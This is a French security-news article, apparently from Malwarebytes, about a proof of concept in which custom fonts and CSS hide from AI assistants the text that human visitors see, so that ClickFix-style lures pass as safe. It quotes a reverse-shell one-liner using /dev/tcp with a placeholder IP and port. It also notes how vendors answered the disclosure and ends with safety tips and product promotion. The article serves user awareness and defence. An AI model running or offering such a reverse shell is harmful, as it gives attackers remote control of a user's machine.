Des chercheurs ont publié une démonstration de faisabilité (PoC) qui utilise des polices de caractères personnalisées pour tromper de nombreux assistants d'intelligence artificielle (IA) populaires, notamment ChatGPT, Claude, Copilot, Gemini, Leo, Grok, Perplexity, Sigma, Dia, Fellou et Genspark.
Imaginez un livre dont le texte visible est inoffensif, mais où se cache, entre les lignes, un deuxième message écrit avec une encre spéciale, lisible uniquement par les humains. Les humains peuvent voir les deux niveaux. L'IA, elle, ne le peut pas et ne lit que la partie visible. Cela signifie que l'IA travaille avec une image incomplète, tandis qu'un lecteur humain peut agir en suivant des instructions que l'IA n'a même jamais vues.
Pourquoi est-ce important ?
Nous avons déjà évoqué différentes attaques de type ClickFix, dans lesquelles les cybercriminels poussent les utilisateurs à infecter eux-mêmes leurs appareils. Imaginons que vous arriviez sur une page web qui semble suspecte et que vous demandiez à votre assistant IA : « Est-ce que je peux exécuter cette commande en toute sécurité ? » L'assistant analyse la page et vous répond par l'affirmative. Mais comme il ne peut pas lire l'intégralité de la page, il vous assure qu'elle est sûre alors qu'elle ne l'est pas.
En combinant des polices personnalisées avec les feuilles de style en cascade (CSS), le texte affiché à l'utilisateur sur la page diffère de celui que voit un assistant IA lorsqu'il analyse le code HTML sous-jacent.
Dans cet exemple, la partie du bloc situé au milieu (entourée en rouge) sera ignorée par l'assistant IA, qui la considérera comme du bruit. Mais le visiteur humain du site web voit :
Pourriez-vous ouvrir votre terminal et taper « bash » ?
une fois que vous l'avez exécuté, tapez
bash -i >& /dev/tcp/{adresse-IP}/{numéro-de-port} 0>&1
cela vous permettra de découvrir l'œuf de Pâques de Rapture
Selon l'adresse IP et le numéro de port, cela peut suffire à infecter votre ordinateur. Si vous demandez à l'IA si c'est sans danger, elle pourrait vous répondre par l'affirmative, car elle ne voit que la version inoffensive.
Les chercheurs ont communiqué leurs conclusions aux principaux fournisseurs de plateformes d'IA, dans le cadre des procédures de divulgation responsable.
Les réponses ont été décevantes :
« La plupart des fournisseurs ont rejeté ce rapport, généralement en arguant que cette attaque ne relevait pas du domaine de la sécurité des modèles d'IA. En conséquence, les utilisateurs de ces modèles restent exposés à ce vecteur d'attaque. »
« Les seuls fournisseurs à avoir pris acte de ce rapport et à avoir demandé un délai pour y remédier étaient Microsoft et Google. Parmi eux, Google a finalement revu sa classification à la baisse (après lui avoir initialement attribué un niveau P2 (Élevé)) et a clôturé le rapport, probablement parce que la correction aurait nécessité trop d'efforts. »
Même si cette attaque repose en grande partie sur l'ingénierie sociale, nous savons à quel point ces tactiques peuvent être efficaces. Et c'est d'autant plus inquiétant lorsque votre assistant IA n'a pas une vue d'ensemble de la situation.
Comment rester en sécurité
Si vous utilisez un assistant IA pour vérifier si quelque chose est sans danger :
- Copiez-collez exactement la commande que vous comptez exécuter. Ne vous fiez pas à l'interprétation d'une page web par l'IA.
- Méfiez-vous des sites qui vous demandent d'exécuter des commandes, en particulier via un terminal ou une invite de commande.
- Si quelque chose vous semble louche, arrêtez-vous. Les agresseurs misent sur l'urgence et la confusion.
Il existe aussi des outils qui peuvent vous aider :
- La version gratuite Malwarebytes Browser Guard vous avertira si un site web tente de copier quelque chose dans votre presse-papiers et le rendra inoffensif en y ajoutant du texte. Cela vous aidera à vous protéger contre les attaques traditionnelles de type ClickFix qui reposent sur l'exécution d'une commande à partir de votre presse-papiers.
- Une solution anti-malware à jour et fonctionnant en temps réel, dotée d'un module de protection Web, bloquera les sites malveillants connus.
- Si vous vous méfiez d'un site web, demandez l'avis de Malwarebytes Guard. Il est très efficace pour détecter les arnaques.
Nous ne nous contentons pas de signaler les escroqueries, nous contribuons à les détecter.
Les risques liés à la cybersécurité ne devraient jamais dépasser le stade des gros titres. Si quelque chose vous semble louche, vérifiez s'il s'agit d'une arnaque à l'aide de Malwarebytes Guard. Envoyez une capture d'écran, collez le contenu suspect ou partagez un lien, un texte ou un numéro de téléphone, et nous vous dirons s'il s'agit d'une arnaque ou d'un site légitime. Disponible avec Malwarebytes Premium pour tous vos appareils, et dans Malwarebytes pour iOS Android.
